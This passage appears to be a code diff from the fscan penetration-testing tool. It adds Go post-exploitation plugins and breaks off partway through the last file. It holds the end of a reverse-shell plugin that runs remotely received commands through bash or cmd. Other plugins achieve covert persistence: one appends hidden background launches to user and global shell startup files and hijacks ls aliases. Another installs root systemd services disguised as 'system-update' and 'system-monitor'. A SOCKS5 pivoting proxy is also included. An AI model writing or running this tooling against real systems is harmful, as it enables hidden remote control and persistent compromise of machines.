result := p.executeCommand(cmdLine)
// 发送结果
conn.Write([]byte(result + "\n"))
}
}
// executeCommand 执行系统命令
func (p *ReverseShellPlugin) executeCommand(cmdLine string) string {
var cmd *exec.Cmd
// 根据操作系统选择命令解释器
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd", "/C", cmdLine)
case "linux", "darwin":
cmd = exec.Command("bash", "-c", cmdLine)
default:
return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS)
}
// 执行命令并获取输出
output, err := cmd.CombinedOutput()
if err != nil {
return fmt.Sprintf("错误: %v\n%s", err, string(output))
}
return string(output)
}
// getCurrentDir 获取当前目录
func getCurrentDir() string {
dir, err := os.Getwd()
if err != nil {
return "unknown"
}
return dir
}
// GetLocalData 获取反弹Shell本地数据
func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
// 获取系统信息
data["plugin_type"] = "reverseshell"
data["platform"] = runtime.GOOS
data["arch"] = runtime.GOARCH
data["target"] = p.target
data["implementation"] = "go_native"
if homeDir, err := os.UserHomeDir(); err == nil {
data["home_dir"] = homeDir
}
if workDir, err := os.Getwd(); err == nil {
data["work_dir"] = workDir
}
return data, nil
}
// GetInfo 获取插件信息
func (p *ReverseShellPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("Go原生反弹Shell插件\n")
info.WriteString(fmt.Sprintf("目标: %s\n", p.target))
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能: 建立反弹Shell连接支持交互式命令执行\n")
info.WriteString("实现方式: 纯Go原生无外部依赖\n")
return info.String()
}
// RegisterReverseShellPlugin 注册反弹Shell插件
func RegisterReverseShellPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "reverseshell",
Version: "1.0.0",
Author: "fscan-team",
Description: "纯Go原生反弹Shell本地插件支持Windows/Linux/macOS",
Category: "local",
Tags: []string{"reverseshell", "local", "shell", "crossplatform", "native"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewReverseShellPlugin()
},
)
base.GlobalPluginRegistry.Register("reverseshell", factory)
}
// init 插件注册函数
func init() {
RegisterReverseShellPlugin()
}

View File

@ -0,0 +1,420 @@
package shellenv
import (
"context"
"fmt"
"os"
"os/user"
"path/filepath"
"runtime"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// ShellEnvPlugin Shell环境变量持久化插件 - 使用简化架构
type ShellEnvPlugin struct {
*local.BaseLocalPlugin
targetFile string
}
// NewShellEnvPlugin 创建Shell环境变量持久化插件 - 简化版本
func NewShellEnvPlugin() *ShellEnvPlugin {
// 从全局参数获取目标文件路径
targetFile := common.PersistenceTargetFile
if targetFile == "" {
targetFile = "" // 需要用户指定
}
metadata := &base.PluginMetadata{
Name: "shellenv",
Version: "1.0.0",
Author: "fscan-team",
Description: "Linux Shell环境变量持久化插件通过修改shell配置文件实现持久化",
Category: "local",
Tags: []string{"local", "persistence", "linux", "shell", "environment"},
Protocols: []string{"local"},
}
plugin := &ShellEnvPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
targetFile: targetFile,
}
// 只支持Linux平台
plugin.SetPlatformSupport([]string{"linux"})
// 需要写入用户配置文件的权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// Initialize 初始化插件
func (p *ShellEnvPlugin) Initialize() error {
if p.targetFile == "" {
return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径")
}
// 检查目标文件是否存在
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
return fmt.Errorf("目标文件不存在: %s", p.targetFile)
}
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *ShellEnvPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行Shell环境变量持久化 - 简化版本
func (p *ShellEnvPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
if runtime.GOOS != "linux" {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("Shell环境变量持久化只支持Linux平台"),
}, nil
}
common.LogBase("开始Shell环境变量持久化...")
common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile))
// 执行持久化操作
results := make([]string, 0)
// 1. 复制文件到隐藏目录
hiddenPath, err := p.copyToHiddenPath()
if err != nil {
common.LogError(fmt.Sprintf("复制文件失败: %v", err))
} else {
results = append(results, fmt.Sprintf("文件已复制到: %s", hiddenPath))
common.LogSuccess(fmt.Sprintf("文件已复制到: %s", hiddenPath))
}
// 2. 添加到用户shell配置文件
userConfigs, err := p.addToUserConfigs(hiddenPath)
if err != nil {
common.LogError(fmt.Sprintf("添加到用户配置失败: %v", err))
} else {
results = append(results, fmt.Sprintf("已添加到用户配置: %s", strings.Join(userConfigs, ", ")))
common.LogSuccess("已添加到用户shell配置")
}
// 3. 添加到全局shell配置文件
globalConfigs, err := p.addToGlobalConfigs(hiddenPath)
if err != nil {
common.LogError(fmt.Sprintf("添加到全局配置失败: %v", err))
} else {
results = append(results, fmt.Sprintf("已添加到全局配置: %s", strings.Join(globalConfigs, ", ")))
common.LogSuccess("已添加到全局shell配置")
}
// 4. 创建启动别名
aliasConfigs, err := p.addAliases(hiddenPath)
if err != nil {
common.LogError(fmt.Sprintf("创建别名失败: %v", err))
} else {
results = append(results, fmt.Sprintf("已创建别名: %s", strings.Join(aliasConfigs, ", ")))
common.LogSuccess("已创建命令别名")
}
// 5. 添加PATH环境变量
err = p.addToPath(filepath.Dir(hiddenPath))
if err != nil {
common.LogError(fmt.Sprintf("添加PATH失败: %v", err))
} else {
results = append(results, "已添加到PATH环境变量")
common.LogSuccess("已添加到PATH环境变量")
}
success := len(results) > 0
result := &base.ScanResult{
Success: success,
Service: "ShellEnvPersistence",
Banner: fmt.Sprintf("Shell环境变量持久化完成 - 目标: %s", filepath.Base(p.targetFile)),
Extra: map[string]interface{}{
"target_file": p.targetFile,
"platform": runtime.GOOS,
"methods": results,
"status": "completed",
},
}
return result, nil
}
// copyToHiddenPath 复制文件到隐藏目录
func (p *ShellEnvPlugin) copyToHiddenPath() (string, error) {
// 获取用户主目录
usr, err := user.Current()
if err != nil {
return "", err
}
// 创建隐藏目录
hiddenDirs := []string{
filepath.Join(usr.HomeDir, ".local", "bin"),
filepath.Join(usr.HomeDir, ".config"),
"/tmp/.system",
"/var/tmp/.cache",
}
var targetDir string
for _, dir := range hiddenDirs {
if err := os.MkdirAll(dir, 0755); err == nil {
targetDir = dir
break
}
}
if targetDir == "" {
return "", fmt.Errorf("无法创建目标目录")
}
// 生成隐藏文件名
basename := filepath.Base(p.targetFile)
hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename))
if p.isScriptFile() {
hiddenName += ".sh"
}
targetPath := filepath.Join(targetDir, hiddenName)
// 复制文件
err = p.copyFile(p.targetFile, targetPath)
if err != nil {
return "", err
}
// 设置执行权限
os.Chmod(targetPath, 0755)
return targetPath, nil
}
// copyFile 复制文件内容
func (p *ShellEnvPlugin) copyFile(src, dst string) error {
sourceData, err := os.ReadFile(src)
if err != nil {
return err
}
return os.WriteFile(dst, sourceData, 0755)
}
// addToUserConfigs 添加到用户shell配置文件
func (p *ShellEnvPlugin) addToUserConfigs(execPath string) ([]string, error) {
usr, err := user.Current()
if err != nil {
return nil, err
}
configFiles := []string{
filepath.Join(usr.HomeDir, ".bashrc"),
filepath.Join(usr.HomeDir, ".profile"),
filepath.Join(usr.HomeDir, ".bash_profile"),
filepath.Join(usr.HomeDir, ".zshrc"),
}
var modified []string
execLine := p.generateExecLine(execPath)
for _, configFile := range configFiles {
if p.addToConfigFile(configFile, execLine) {
modified = append(modified, configFile)
}
}
if len(modified) == 0 {
return nil, fmt.Errorf("无法修改任何用户配置文件")
}
return modified, nil
}
// addToGlobalConfigs 添加到全局shell配置文件
func (p *ShellEnvPlugin) addToGlobalConfigs(execPath string) ([]string, error) {
configFiles := []string{
"/etc/bash.bashrc",
"/etc/profile",
"/etc/zsh/zshrc",
"/etc/profile.d/custom.sh",
}
var modified []string
execLine := p.generateExecLine(execPath)
for _, configFile := range configFiles {
// 对于profile.d需要先创建目录
if strings.Contains(configFile, "profile.d") {
os.MkdirAll(filepath.Dir(configFile), 0755)
}
if p.addToConfigFile(configFile, execLine) {
modified = append(modified, configFile)
}
}
if len(modified) == 0 {
return nil, fmt.Errorf("无法修改任何全局配置文件")
}
return modified, nil
}
// addAliases 添加命令别名
func (p *ShellEnvPlugin) addAliases(execPath string) ([]string, error) {
usr, err := user.Current()
if err != nil {
return nil, err
}
aliasFiles := []string{
filepath.Join(usr.HomeDir, ".bash_aliases"),
filepath.Join(usr.HomeDir, ".aliases"),
}
// 生成常用命令别名
aliases := []string{
fmt.Sprintf("alias ls='%s; /bin/ls'", execPath),
fmt.Sprintf("alias ll='%s; /bin/ls -l'", execPath),
fmt.Sprintf("alias la='%s; /bin/ls -la'", execPath),
}
var modified []string
for _, aliasFile := range aliasFiles {
content := strings.Join(aliases, "\n") + "\n"
if p.addToConfigFile(aliasFile, content) {
modified = append(modified, aliasFile)
}
}
return modified, nil
}
// addToPath 添加到PATH环境变量
func (p *ShellEnvPlugin) addToPath(dirPath string) error {
usr, err := user.Current()
if err != nil {
return err
}
configFile := filepath.Join(usr.HomeDir, ".bashrc")
pathLine := fmt.Sprintf("export PATH=\"%s:$PATH\"", dirPath)
if p.addToConfigFile(configFile, pathLine) {
return nil
}
return fmt.Errorf("无法添加PATH环境变量")
}
// addToConfigFile 添加内容到配置文件
func (p *ShellEnvPlugin) addToConfigFile(configFile, content string) bool {
// 读取现有内容
existingContent := ""
if data, err := os.ReadFile(configFile); err == nil {
existingContent = string(data)
}
// 检查是否已存在
if strings.Contains(existingContent, content) {
return true // 已存在,视为成功
}
// 添加新内容
if !strings.HasSuffix(existingContent, "\n") && existingContent != "" {
existingContent += "\n"
}
existingContent += content + "\n"
// 写入文件
return os.WriteFile(configFile, []byte(existingContent), 0644) == nil
}
// generateExecLine 生成执行命令行
func (p *ShellEnvPlugin) generateExecLine(execPath string) string {
if p.isScriptFile() {
return fmt.Sprintf("bash %s >/dev/null 2>&1 &", execPath)
} else {
return fmt.Sprintf("%s >/dev/null 2>&1 &", execPath)
}
}
// isScriptFile 检查是否为脚本文件
func (p *ShellEnvPlugin) isScriptFile() bool {
ext := strings.ToLower(filepath.Ext(p.targetFile))
return ext == ".sh" || ext == ".bash" || ext == ".zsh"
}
// GetLocalData 获取Shell环境变量持久化本地数据
func (p *ShellEnvPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
data["plugin_type"] = "shellenv"
data["platform"] = runtime.GOOS
data["target_file"] = p.targetFile
data["persistence_method"] = "Shell Environment"
if hostname, err := os.Hostname(); err == nil {
data["hostname"] = hostname
}
return data, nil
}
// ExtractData 提取数据
func (p *ShellEnvPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: fmt.Sprintf("Shell环境变量持久化完成目标文件: %s", p.targetFile),
Data: data,
Extra: map[string]interface{}{
"target_file": p.targetFile,
"persistence_method": "Shell Environment",
"status": "completed",
},
}, nil
}
// GetInfo 获取插件信息
func (p *ShellEnvPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("Shell环境变量持久化插件\n")
info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile))
info.WriteString("支持平台: Linux\n")
info.WriteString("功能: 通过修改shell配置文件实现持久化\n")
info.WriteString("方法: .bashrc、.profile、别名、PATH环境变量\n")
info.WriteString("支持文件: .sh脚本和ELF可执行文件\n")
return info.String()
}
// RegisterShellEnvPlugin 注册Shell环境变量持久化插件
func RegisterShellEnvPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "shellenv",
Version: "1.0.0",
Author: "fscan-team",
Description: "Linux Shell环境变量持久化插件通过修改shell配置文件实现持久化",
Category: "local",
Tags: []string{"shellenv", "local", "persistence", "linux"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewShellEnvPlugin()
},
)
base.GlobalPluginRegistry.Register("shellenv", factory)
}
// init 插件注册函数
func init() {
RegisterShellEnvPlugin()
}

View File

@ -0,0 +1,377 @@
package socks5proxy
import (
"context"
"fmt"
"io"
"net"
"os"
"runtime"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// Socks5ProxyPlugin SOCKS5代理插件 - 使用简化架构
type Socks5ProxyPlugin struct {
*local.BaseLocalPlugin
port int
listener net.Listener
}
// NewSocks5ProxyPlugin 创建SOCKS5代理插件 - 简化版本
func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
// 从全局参数获取SOCKS5端口
port := common.Socks5ProxyPort
if port <= 0 {
port = 1080 // 默认端口
}
metadata := &base.PluginMetadata{
Name: "socks5proxy",
Version: "1.0.0",
Author: "fscan-team",
Description: "本地SOCKS5代理服务器插件支持HTTP/HTTPS代理",
Category: "local",
Tags: []string{"local", "proxy", "socks5", "network"},
Protocols: []string{"local"},
}
plugin := &Socks5ProxyPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
port: port,
}
// 设置支持的平台支持Windows、Linux和macOS
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// Initialize 初始化插件
func (p *Socks5ProxyPlugin) Initialize() error {
// 调用基类初始化
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行SOCKS5代理扫描 - 简化版本
func (p *Socks5ProxyPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("启动SOCKS5代理服务器...")
// 启动SOCKS5代理服务器
common.LogBase(fmt.Sprintf("在端口 %d 上启动SOCKS5代理", p.port))
// 直接在当前goroutine中运行这样可以确保在设置Socks5ProxyActive后立即被主程序检测到
err := p.startSocks5Server(ctx, p.port)
if err != nil {
common.LogError(fmt.Sprintf("SOCKS5代理服务器错误: %v", err))
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
result := &base.ScanResult{
Success: true,
Service: "SOCKS5Proxy",
Banner: fmt.Sprintf("SOCKS5代理已完成 - 端口: %d 平台: %s", p.port, runtime.GOOS),
Extra: map[string]interface{}{
"port": p.port,
"platform": runtime.GOOS,
"protocol": "socks5",
"status": "completed",
},
}
return result, nil
}
// startSocks5Server 启动SOCKS5代理服务器 - 核心实现
func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int) error {
// 监听指定端口
listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", port))
if err != nil {
return fmt.Errorf("监听端口失败: %v", err)
}
defer listener.Close()
p.listener = listener
common.LogSuccess(fmt.Sprintf("SOCKS5代理服务器已在 127.0.0.1:%d 上启动", port))
// 设置SOCKS5代理为活跃状态告诉主程序保持运行
common.Socks5ProxyActive = true
defer func() {
// 确保退出时清除活跃状态
common.Socks5ProxyActive = false
}()
// 主循环处理连接
for {
select {
case <-ctx.Done():
common.LogBase("SOCKS5代理服务器被上下文取消")
return ctx.Err()
default:
}
// 设置监听器超时,以便能响应上下文取消
if tcpListener, ok := listener.(*net.TCPListener); ok {
tcpListener.SetDeadline(time.Now().Add(1 * time.Second))
}
conn, err := listener.Accept()
if err != nil {
// 检查是否是超时错误
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
continue // 超时继续循环
}
common.LogError(fmt.Sprintf("接受连接失败: %v", err))
continue
}
// 并发处理客户端连接
go p.handleClient(conn)
}
}
// handleClient 处理客户端连接
func (p *Socks5ProxyPlugin) handleClient(clientConn net.Conn) {
defer clientConn.Close()
// SOCKS5握手阶段
if err := p.handleSocks5Handshake(clientConn); err != nil {
common.LogError(fmt.Sprintf("SOCKS5握手失败: %v", err))
return
}
// SOCKS5请求阶段
targetConn, err := p.handleSocks5Request(clientConn)
if err != nil {
common.LogError(fmt.Sprintf("SOCKS5请求处理失败: %v", err))
return
}
defer targetConn.Close()
common.LogSuccess("建立SOCKS5代理连接")
// 双向数据转发
p.relayData(clientConn, targetConn)
}
// handleSocks5Handshake 处理SOCKS5握手
func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error {
// 读取客户端握手请求
buffer := make([]byte, 256)
n, err := conn.Read(buffer)
if err != nil {
return fmt.Errorf("读取握手请求失败: %v", err)
}
if n < 3 || buffer[0] != 0x05 { // SOCKS版本必须是5
return fmt.Errorf("不支持的SOCKS版本")
}
// 发送握手响应(无认证)
response := []byte{0x05, 0x00} // 版本5无认证
_, err = conn.Write(response)
if err != nil {
return fmt.Errorf("发送握手响应失败: %v", err)
}
return nil
}
// handleSocks5Request 处理SOCKS5连接请求
func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, error) {
// 读取连接请求
buffer := make([]byte, 256)
n, err := clientConn.Read(buffer)
if err != nil {
return nil, fmt.Errorf("读取连接请求失败: %v", err)
}
if n < 7 || buffer[0] != 0x05 {
return nil, fmt.Errorf("无效的SOCKS5请求")
}
cmd := buffer[1]
if cmd != 0x01 { // 只支持CONNECT命令
// 发送不支持的命令响应
response := []byte{0x05, 0x07, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
clientConn.Write(response)
return nil, fmt.Errorf("不支持的命令: %d", cmd)
}
// 解析目标地址
addrType := buffer[3]
var targetHost string
var targetPort int
switch addrType {
case 0x01: // IPv4
if n < 10 {
return nil, fmt.Errorf("IPv4地址格式错误")
}
targetHost = fmt.Sprintf("%d.%d.%d.%d", buffer[4], buffer[5], buffer[6], buffer[7])
targetPort = int(buffer[8])<<8 + int(buffer[9])
case 0x03: // 域名
if n < 5 {
return nil, fmt.Errorf("域名格式错误")
}
domainLen := int(buffer[4])
if n < 5+domainLen+2 {
return nil, fmt.Errorf("域名长度错误")
}
targetHost = string(buffer[5 : 5+domainLen])
targetPort = int(buffer[5+domainLen])<<8 + int(buffer[5+domainLen+1])
case 0x04: // IPv6
if n < 22 {
return nil, fmt.Errorf("IPv6地址格式错误")
}
// IPv6地址解析简化实现
targetHost = net.IP(buffer[4:20]).String()
targetPort = int(buffer[20])<<8 + int(buffer[21])
default:
// 发送不支持的地址类型响应
response := []byte{0x05, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
clientConn.Write(response)
return nil, fmt.Errorf("不支持的地址类型: %d", addrType)
}
// 连接目标服务器
targetAddr := fmt.Sprintf("%s:%d", targetHost, targetPort)
targetConn, err := net.DialTimeout("tcp", targetAddr, 10*time.Second)
if err != nil {
// 发送连接失败响应
response := []byte{0x05, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
clientConn.Write(response)
return nil, fmt.Errorf("连接目标服务器失败: %v", err)
}
// 发送成功响应
response := make([]byte, 10)
response[0] = 0x05 // SOCKS版本
response[1] = 0x00 // 成功
response[2] = 0x00 // 保留
response[3] = 0x01 // IPv4地址类型
// 绑定地址和端口使用127.0.0.1:port
copy(response[4:8], []byte{127, 0, 0, 1})
response[8] = byte(p.port >> 8)
response[9] = byte(p.port & 0xff)
_, err = clientConn.Write(response)
if err != nil {
targetConn.Close()
return nil, fmt.Errorf("发送成功响应失败: %v", err)
}
common.LogDebug(fmt.Sprintf("建立代理连接: %s", targetAddr))
return targetConn, nil
}
// relayData 双向数据转发
func (p *Socks5ProxyPlugin) relayData(clientConn, targetConn net.Conn) {
done := make(chan struct{}, 2)
// 客户端到目标服务器
go func() {
defer func() { done <- struct{}{} }()
io.Copy(targetConn, clientConn)
targetConn.Close()
}()
// 目标服务器到客户端
go func() {
defer func() { done <- struct{}{} }()
io.Copy(clientConn, targetConn)
clientConn.Close()
}()
// 等待其中一个方向完成
<-done
}
// GetLocalData 获取SOCKS5代理本地数据
func (p *Socks5ProxyPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
// 获取系统信息
data["plugin_type"] = "socks5proxy"
data["platform"] = runtime.GOOS
data["arch"] = runtime.GOARCH
data["port"] = p.port
data["protocol"] = "socks5"
if homeDir, err := os.UserHomeDir(); err == nil {
data["home_dir"] = homeDir
}
if workDir, err := os.Getwd(); err == nil {
data["work_dir"] = workDir
}
return data, nil
}
// ExtractData 提取数据SOCKS5代理主要是服务功能
func (p *Socks5ProxyPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: fmt.Sprintf("SOCKS5代理服务器运行完成端口: %d", p.port),
Data: data,
Extra: map[string]interface{}{
"port": p.port,
"protocol": "socks5",
"status": "completed",
},
}, nil
}
// GetInfo 获取插件信息
func (p *Socks5ProxyPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("SOCKS5代理服务器插件\n")
info.WriteString(fmt.Sprintf("监听端口: %d\n", p.port))
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能: 提供本地SOCKS5代理服务支持TCP连接转发\n")
info.WriteString("协议: SOCKS5支持HTTP/HTTPS代理\n")
info.WriteString("实现方式: 纯Go原生无外部依赖\n")
return info.String()
}
// RegisterSocks5ProxyPlugin 注册SOCKS5代理插件
func RegisterSocks5ProxyPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "socks5proxy",
Version: "1.0.0",
Author: "fscan-team",
Description: "本地SOCKS5代理服务器插件支持HTTP/HTTPS代理",
Category: "local",
Tags: []string{"socks5proxy", "local", "proxy", "network"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewSocks5ProxyPlugin()
},
)
base.GlobalPluginRegistry.Register("socks5proxy", factory)
}
// init 插件注册函数
func init() {
RegisterSocks5ProxyPlugin()
}

View File

@ -0,0 +1,488 @@
package systemdservice
import (
"context"
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// SystemdServicePlugin 系统服务持久化插件 - 使用简化架构
type SystemdServicePlugin struct {
*local.BaseLocalPlugin
targetFile string
}
// NewSystemdServicePlugin 创建系统服务持久化插件 - 简化版本
func NewSystemdServicePlugin() *SystemdServicePlugin {
// 从全局参数获取目标文件路径
targetFile := common.PersistenceTargetFile
if targetFile == "" {
targetFile = "" // 需要用户指定
}
metadata := &base.PluginMetadata{
Name: "systemdservice",
Version: "1.0.0",
Author: "fscan-team",
Description: "Linux 系统服务持久化插件通过systemd服务实现持久化",
Category: "local",
Tags: []string{"local", "persistence", "linux", "systemd", "service"},
Protocols: []string{"local"},
}
plugin := &SystemdServicePlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
targetFile: targetFile,
}
// 只支持Linux平台
plugin.SetPlatformSupport([]string{"linux"})
// 需要root权限来创建系统服务
plugin.SetRequiresPrivileges(true)
return plugin
}
// Initialize 初始化插件
func (p *SystemdServicePlugin) Initialize() error {
if p.targetFile == "" {
return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径")
}
// 检查目标文件是否存在
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
return fmt.Errorf("目标文件不存在: %s", p.targetFile)
}
// 检查systemctl是否可用
if _, err := exec.LookPath("systemctl"); err != nil {
return fmt.Errorf("systemctl命令不可用: %v", err)
}
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行系统服务持久化 - 简化版本
func (p *SystemdServicePlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
if runtime.GOOS != "linux" {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("系统服务持久化只支持Linux平台"),
}, nil
}
common.LogBase("开始系统服务持久化...")
common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile))
// 执行持久化操作
results := make([]string, 0)
// 1. 复制文件到系统目录
servicePath, err := p.copyToServicePath()
if err != nil {
common.LogError(fmt.Sprintf("复制文件失败: %v", err))
} else {
results = append(results, fmt.Sprintf("文件已复制到: %s", servicePath))
common.LogSuccess(fmt.Sprintf("文件已复制到: %s", servicePath))
}
// 2. 创建systemd服务文件
serviceFiles, err := p.createSystemdServices(servicePath)
if err != nil {
common.LogError(fmt.Sprintf("创建systemd服务失败: %v", err))
} else {
results = append(results, fmt.Sprintf("已创建systemd服务: %s", strings.Join(serviceFiles, ", ")))
common.LogSuccess("已创建systemd服务")
}
// 3. 启用并启动服务
err = p.enableAndStartServices(serviceFiles)
if err != nil {
common.LogError(fmt.Sprintf("启动服务失败: %v", err))
} else {
results = append(results, "服务已启用并启动")
common.LogSuccess("服务已启用并启动")
}
// 4. 创建用户级服务
userServiceFiles, err := p.createUserServices(servicePath)
if err != nil {
common.LogError(fmt.Sprintf("创建用户服务失败: %v", err))
} else {
results = append(results, fmt.Sprintf("已创建用户服务: %s", strings.Join(userServiceFiles, ", ")))
common.LogSuccess("已创建用户服务")
}
// 5. 创建定时器服务
err = p.createTimerServices(servicePath)
if err != nil {
common.LogError(fmt.Sprintf("创建定时器服务失败: %v", err))
} else {
results = append(results, "已创建systemd定时器")
common.LogSuccess("已创建systemd定时器")
}
success := len(results) > 0
result := &base.ScanResult{
Success: success,
Service: "SystemdServicePersistence",
Banner: fmt.Sprintf("系统服务持久化完成 - 目标: %s", filepath.Base(p.targetFile)),
Extra: map[string]interface{}{
"target_file": p.targetFile,
"platform": runtime.GOOS,
"methods": results,
"status": "completed",
},
}
return result, nil
}
// copyToServicePath 复制文件到服务目录
func (p *SystemdServicePlugin) copyToServicePath() (string, error) {
// 选择服务目录
serviceDirs := []string{
"/usr/local/bin",
"/opt/local",
"/usr/bin",
}
var targetDir string
for _, dir := range serviceDirs {
if err := os.MkdirAll(dir, 0755); err == nil {
targetDir = dir
break
}
}
if targetDir == "" {
return "", fmt.Errorf("无法创建服务目录")
}
// 生成服务可执行文件名
basename := filepath.Base(p.targetFile)
serviceName := strings.TrimSuffix(basename, filepath.Ext(basename))
if serviceName == "" {
serviceName = "system-service"
}
targetPath := filepath.Join(targetDir, serviceName)
// 复制文件
err := p.copyFile(p.targetFile, targetPath)
if err != nil {
return "", err
}
// 设置执行权限
os.Chmod(targetPath, 0755)
return targetPath, nil
}
// copyFile 复制文件内容
func (p *SystemdServicePlugin) copyFile(src, dst string) error {
sourceData, err := os.ReadFile(src)
if err != nil {
return err
}
return os.WriteFile(dst, sourceData, 0755)
}
// createSystemdServices 创建systemd服务文件
func (p *SystemdServicePlugin) createSystemdServices(execPath string) ([]string, error) {
systemDir := "/etc/systemd/system"
if err := os.MkdirAll(systemDir, 0755); err != nil {
return nil, err
}
services := []struct {
name string
content string
enable bool
}{
{
name: "system-update.service",
enable: true,
content: fmt.Sprintf(`[Unit]
Description=System Update Service
After=network.target
Wants=network-online.target
[Service]
Type=simple
User=root
ExecStart=%s
Restart=always
RestartSec=60
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
`, execPath),
},
{
name: "system-monitor.service",
enable: true,
content: fmt.Sprintf(`[Unit]
Description=System Monitor Service
After=network.target
[Service]
Type=forking
User=root
ExecStart=%s
PIDFile=/var/run/system-monitor.pid
Restart=on-failure
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
`, execPath),
},
{
name: "network-check.service",
enable: false,
content: fmt.Sprintf(`[Unit]
Description=Network Check Service
After=network-online.target
Wants=network-online.target
[Service]
Type=oneshot
User=root
ExecStart=%s
StandardOutput=null
StandardError=null
`, execPath),
},
}
var created []string
for _, service := range services {
servicePath := filepath.Join(systemDir, service.name)
if err := os.WriteFile(servicePath, []byte(service.content), 0644); err == nil {
created = append(created, service.name)
}
}
if len(created) == 0 {
return nil, fmt.Errorf("无法创建任何systemd服务文件")
}
return created, nil
}
// enableAndStartServices 启用并启动服务
func (p *SystemdServicePlugin) enableAndStartServices(serviceFiles []string) error {
var errors []string
for _, serviceName := range serviceFiles {
// 重新加载systemd配置
exec.Command("systemctl", "daemon-reload").Run()
// 启用服务
if err := exec.Command("systemctl", "enable", serviceName).Run(); err != nil {
errors = append(errors, fmt.Sprintf("enable %s: %v", serviceName, err))
}
// 启动服务
if err := exec.Command("systemctl", "start", serviceName).Run(); err != nil {
errors = append(errors, fmt.Sprintf("start %s: %v", serviceName, err))
}
}
if len(errors) > 0 {
return fmt.Errorf("服务操作错误: %s", strings.Join(errors, "; "))
}
return nil
}
// createUserServices 创建用户级服务
func (p *SystemdServicePlugin) createUserServices(execPath string) ([]string, error) {
userDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user")
if userDir == "/.config/systemd/user" { // HOME为空的情况
userDir = "/tmp/.config/systemd/user"
}
if err := os.MkdirAll(userDir, 0755); err != nil {
return nil, err
}
userServices := []string{
"user-service.service",
"background-task.service",
}
userServiceContent := fmt.Sprintf(`[Unit]
Description=User Background Service
After=graphical-session.target
[Service]
Type=simple
ExecStart=%s
Restart=always
RestartSec=30
StandardOutput=null
